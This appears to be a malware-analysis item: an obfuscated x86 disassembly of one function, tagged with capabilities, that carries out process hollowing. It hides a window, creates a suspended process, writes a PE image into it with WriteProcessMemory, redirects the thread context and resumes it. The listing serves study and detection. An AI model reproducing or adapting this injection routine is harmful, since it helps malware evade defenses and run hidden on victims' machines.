Function at 0x10007220
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x1009b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
sub edx, 0xe2a0d6c0
sub edx, 1
add edx, 0xe2a0d6c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x116], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x115], al
mov dword [ebp - 0x11c], 0xad58eff8
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x802d9d4e
je 0x1000e9c5
jmp 0x1000729b
mov eax, dword [ebp - 0x120]
sub eax, 0x80435626
je 0x1000ba56
jmp 0x100072b1
mov eax, dword [ebp - 0x120]
sub eax, 0x81282bae
je 0x1000ee35
jmp 0x100072c7
mov eax, dword [ebp - 0x120]
sub eax, 0x812b2629
je 0x1000cefb
jmp 0x100072dd
mov eax, dword [ebp - 0x120]
sub eax, 0x81372775
je 0x1000ecc6
jmp 0x100072f3
mov eax, dword [ebp - 0x120]
sub eax, 0x82d6b470
je 0x1000cda0
jmp 0x10007309
mov eax, dword [ebp - 0x120]
sub eax, 0x832bf577
je 0x1000b559
jmp 0x1000731f
mov eax, dword [ebp - 0x120]
sub eax, 0x83a852fb
je 0x1000b7f8
jmp 0x10007335
mov eax, dword [ebp - 0x120]
sub eax, 0x83aa2d75
je 0x1000e1e7
jmp 0x1000734b
mov eax, dword [ebp - 0x120]
sub eax, 0x83d831fd
je 0x1000fc92
jmp 0x10007361
mov eax, dword [ebp - 0x120]
sub eax, 0x845c2940
je 0x1000cad3
jmp 0x10007377
mov eax, dword [ebp - 0x120]
sub eax, 0x860272a7
je 0x1000effa
jmp 0x1000738d
mov eax, dword [ebp - 0x120]
sub eax, 0x86382793
je 0x1000bb80
jmp 0x100073a3
mov eax, dword [ebp - 0x120]
sub eax, 0x86618855
je 0x1000b217
jmp 0x100073b9
mov eax, dword [ebp - 0x120]
sub eax, 0x87267833
je 0x1000aa1a
jmp 0x100073cf
mov eax, dword [ebp - 0x120]
sub eax, 0x8762834e
je 0x1000c19c
jmp 0x100073e5
mov eax, dword [ebp - 0x120]
sub eax, 0x87659661
je 0x1000d589
jmp 0x100073fb
mov eax, dword [ebp - 0x120]
sub eax, 0x87daa6cc
je 0x1000f8db
jmp 0x10007411
mov eax, dword [ebp - 0x120]
sub eax, 0x87dffd80
je 0x1000d86b
jmp 0x10007427
mov eax, dword [ebp - 0x120]
sub eax, 0x88f257ca
je 0x1000ace7
jmp 0x1000743d
mov eax, dword [ebp - 0x120]
sub eax, 0x893227c4
je 0x1000cb24
jmp 0x10007453
mov eax, dword [ebp - 0x120]
sub eax, 0x893bdc20
je 0x1000a43c
jmp 0x10007469
mov eax, dword [ebp - 0x120]
sub eax, 0x89424767
je 0x1000e196
jmp 0x1000747f
mov eax, dword [ebp - 0x120]
sub eax, 0x89b57c2b
je 0x1000f4b7
jmp 0x10007495
mov eax, dword [ebp - 0x120]
sub eax, 0x8a2a093d
je 0x1000e736
jmp 0x100074ab
mov eax, dword [ebp - 0x120]
sub eax, 0x8a8b8e8d
je 0x1000a080
jmp 0x100074c1
mov eax, dword [ebp - 0x120]
sub eax, 0x8b04fe10
je 0x1000e80e
jmp 0x100074d7
mov eax, dword [ebp - 0x120]
sub eax, 0x8b59750e
je 0x1000d91f
jmp 0x100074ed
mov eax, dword [ebp - 0x120]
sub eax, 0x8ba2928a
je 0x1000adf9
jmp 0x10007503
mov eax, dword [ebp - 0x120]
sub eax, 0x8bae6540
je 0x1000d526
jmp 0x10007519
mov eax, dword [ebp - 0x120]
sub eax, 0x8c9c7fd7
je 0x1000be88
jmp 0x1000752f
mov eax, dword [ebp - 0x120]
sub eax, 0x8d67e7c6
je 0x1000cce1
jmp 0x10007545
mov eax, dword [ebp - 0x120]
sub eax, 0x8dcc2c62
je 0x1000bfc1
jmp 0x1000755b
mov eax, dword [ebp - 0x120]
sub eax, 0x8dfc8609
je 0x10010060
jmp 0x10007571
mov eax, dword [ebp - 0x120]
sub eax, 0x8e72749b
je 0x1000e0f6
jmp 0x10007587
mov eax, dword [ebp - 0x120]
sub eax, 0x8e743fcf
je 0x1000a0a1
jmp 0x1000759d
mov eax, dword [ebp - 0x120]
sub eax, 0x8ecc5be5
je 0x10010017
jmp 0x100075b3
mov eax, dword [ebp - 0x120]
sub eax, 0x8f184581
je 0x1000b42f
jmp 0x100075c9
mov eax, dword [ebp - 0x120]
sub eax, 0x8f723707
je 0x1000d3f9
jmp 0x100075df
mov eax, dword [ebp - 0x120]
sub eax, 0x8fd6fc3b
je 0x1000f6a2
jmp 0x100075f5
mov eax, dword [ebp - 0x120]
sub eax, 0x9158eca0
je 0x1000abff
jmp 0x1000760b
mov eax, dword [ebp - 0x120]
sub eax, 0x91c20030
je 0x1000c952
jmp 0x10007621
mov eax, dword [ebp - 0x120]
sub eax, 0x92612080
je 0x1000fcc2
jmp 0x10007637
mov eax, dword [ebp - 0x120]
sub eax, 0x92714161
je 0x1000b121
jmp 0x1000764d
mov eax, dword [ebp - 0x120]
sub eax, 0x9296a791
je 0x1000cbac
jmp 0x10007663
mov eax, dword [ebp - 0x120]
sub eax, 0x934db64d
je 0x1000e93b
jmp 0x10007679
mov eax, dword [ebp - 0x120]
sub eax, 0x93ef9577
je 0x1000a121
jmp 0x1000768f
mov eax, dword [ebp - 0x120]
sub eax, 0x94633732
je 0x1000c5c1
jmp 0x100076a5
mov eax, dword [ebp - 0x120]
sub eax, 0x94d0a68a
je 0x1000e6a5
jmp 0x100076bb
mov eax, dword [ebp - 0x120]
sub eax, 0x953d1a12
je 0x1000fc14
jmp 0x100076d1
mov eax, dword [ebp - 0x120]
sub eax, 0x95d14e28
je 0x1000fd31
jmp 0x100076e7
mov eax, dword [ebp - 0x120]
sub eax, 0x973ef552
je 0x10010239
jmp 0x100076fd
mov eax, dword [ebp - 0x120]
sub eax, 0x979ba55e
je 0x1000fb6f
jmp 0x10007713
mov eax, dword [ebp - 0x120]
sub eax, 0x979d3dd7
je 0x1000fd22
jmp 0x10007729
mov eax, dword [ebp - 0x120]
sub eax, 0x9965dc61
je 0x1000ea16
jmp 0x1000773f
mov eax, dword [ebp - 0x120]
sub eax, 0x99a5dde6
je 0x10009b9a
jmp 0x10007755
mov eax, dword [ebp - 0x120]
sub eax, 0x99f26b4b
je 0x1000fef0
jmp 0x1000776b
mov eax, dword [ebp - 0x120]
sub eax, 0x9bfe2006
je 0x1000ab29
jmp 0x10007781
mov eax, dword [ebp - 0x120]
sub eax, 0x9dd9c725
je 0x100101d4
jmp 0x10007797
mov eax, dword [ebp - 0x120]
sub eax, 0x9e5d4cfd
je 0x1000dbf1
jmp 0x100077ad
mov eax, dword [ebp - 0x120]
sub eax, 0x9f21059b
je 0x1000c0a7
jmp 0x100077c3
mov eax, dword [ebp - 0x120]
sub eax, 0x9f6d63c5
je 0x1000dd1c
jmp 0x100077d9
mov eax, dword [ebp - 0x120]
sub eax, 0xa150e38e
je 0x1000f539
jmp 0x100077ef
mov eax, dword [ebp - 0x120]
sub eax, 0xa16ee9f2
je 0x1000d329
jmp 0x10007805
mov eax, dword [ebp - 0x120]
sub eax, 0xa1944ec8
je 0x1000f9f8
mov eax, dword [ebp - 0x98]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x11c], 0xce66a982
jmp 0x100103c5
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001d38c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x8e743fcf
jmp 0x100103c5
mov dl, 1
mov eax, 0xa827cc9f
mov ecx, 0x3f255900
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dl, 1
mov eax, 0x5a5262ba
mov ecx, 0xf0b44909
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d378]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001d374]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe65e596f
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x49ca5aad
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x1223c31e
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x34e97f4
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x34f10e9b
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
sub edx, 0x12957556
sub edx, 1
add edx, 0x12957556
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdc7a9174
mov ecx, 0x2edaecbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3ee068c
mov ecx, 0x788fbac2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x32dbcc2b
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x5ce299f8
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
sub edx, 0x62ef0b81
sub edx, 1
add edx, 0x62ef0b81
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6564599a
mov ecx, 0x667d8c99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
sub edx, 0x856e28e3
sub edx, 1
add edx, 0x856e28e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x953d1a12
mov ecx, 0xa78a4a6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d31c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x6f032170
jmp 0x100103c5
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d318]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d314]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x41fba3aa
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x4a675a6b
jmp 0x100103c5
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d308]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d304]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe80d4b6b
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92612080
mov ecx, 0x32d4352b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d2ec]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xd8c51bfc
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
add edx, 0xe45e98b3
sub edx, 1
sub edx, 0xe45e98b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x979d3dd7
mov ecx, 0x3dce0d0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dl, 1
mov eax, 0xd125eb17
mov ecx, 0xf2811c5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
sub edx, 0x7dcc0200
sub edx, 1
add edx, 0x7dcc0200
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35771304
mov ecx, 0x893227c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d1c8]
movss dword [eax], xmm0
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
add edx, 0x30023d13
sub edx, 1
sub edx, 0x30023d13
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35771304
mov ecx, 0x9296a791
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x3a16ba06
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3beaaf3
mov ecx, 0x3b49aa3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dl, 1
mov eax, 0xfd6a8ef8
mov ecx, 0xfb9e6e48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001d294]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001d290]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x39a7736f
jmp 0x100103c5
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d1a8]
movss dword [eax], xmm0
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb3662fca
mov ecx, 0x4cf408cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd942c109
mov ecx, 0x66233e81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d1a0]
movss dword [eax], xmm0
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
add edx, 0x235b927e
sub edx, 1
sub edx, 0x235b927e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f7f325e
mov ecx, 0x87659661
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dword [ebp - 0x11c], 0xae0266bb
jmp 0x100103c5
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d198]
movss dword [eax], xmm0
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
add edx, 0xe06ccba4
sub edx, 1
sub edx, 0xe06ccba4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6cb81c0c
mov ecx, 0xe5532f82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d24c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xad3aa857
jmp 0x100103c5
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x77200
call fcn.10001020
add esp, 8
mov dword [ebp - 0x11c], 0xe4f3a408
jmp 0x100103c5
mov dl, byte [ebp - 0x91]
mov eax, 0xcafb0c62
mov ecx, 0x3da5ef13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0x11c], 0xb1151e5a
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
add edx, 0xe9aed855
sub edx, 1
sub edx, 0xe9aed855
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8dfc8609
mov ecx, 0x83aa2d75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x80], eax
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8dfc8609
mov ecx, 0x304c7637
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0x70]
movzx esi, word [eax]
mov edx, dword [ebp - 0x74]
mov eax, 0x6e42add0
mov ecx, 0xce736bbb
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
add edx, 0xdead1026
sub edx, 1
sub edx, 0xdead1026
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba8b38ad
mov ecx, 0x26e6ea69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x64]
add edx, 0xd9124c4b
add edx, eax
sub edx, 0xd9124c4b
mov eax, dword [ebp - 0xe4]
mov esi, dword [eax]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10007140
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x802d9d4e
mov ecx, 0x5b516f2
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x11c], 0x36443a37
jmp 0x100103c5
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
sub edx, 0x1b488e5d
sub edx, 1
add edx, 0x1b488e5d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x64d45382
mov ecx, 0x9965dc61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov ecx, dword [0x1009c528]
mov eax, dword [0x1009c524]
mov edx, ecx
sub edx, 0x563b5742
sub edx, 1
add edx, 0x563b5742
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x64d45382
mov ecx, 0xf49c3e20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
sub edx, 0xb57df551
sub edx, 1
add edx, 0xb57df551
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x463d5a16
mov ecx, 0xf0fc2083
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dl, byte [ebp - 0x3e]
mov eax, 0x1d7cb6b8
mov ecx, 0xab1a4cad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x3a7ec8cb
jmp 0x100103c5
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
sub eax, 0xabc9a83b
add eax, ecx
add eax, 0xabc9a83b
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x11c], 0xd116771d
jmp 0x100103c5
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [0x1009c528]
mov ecx, dword [0x1009c524]
mov edx, eax
sub edx, 0xc678e710
sub edx, 1
add edx, 0xc678e710
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabf23f50
mov ecx, 0x59e4346b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x100103c5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x5180d395
add ecx, eax
add ecx, 0x5180d395
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x11c], 0x2d72ff64
jmp 0x100103c5
mov dword [ebp - 0x11c], 0xcafb0c62
jmp 0x100103c5
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001d1fc]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xcf41b132
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x83a852fb
jmp 0x100103c5
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d1e0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x1684a807
jmp 0x100103c5
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d1dc]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x32d4352b
jmp 0x100103c5
mov dword [ebp - 0x11c], 0x3dce0d0e
jmp 0x100103c5
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d1d4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x6cd081b8
jmp 0x100103c5
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d19c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x5aa22e07
jmp 0x100103c5
mov eax, dword [ebp - 0x88]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xdc]
mov byte [eax], cl
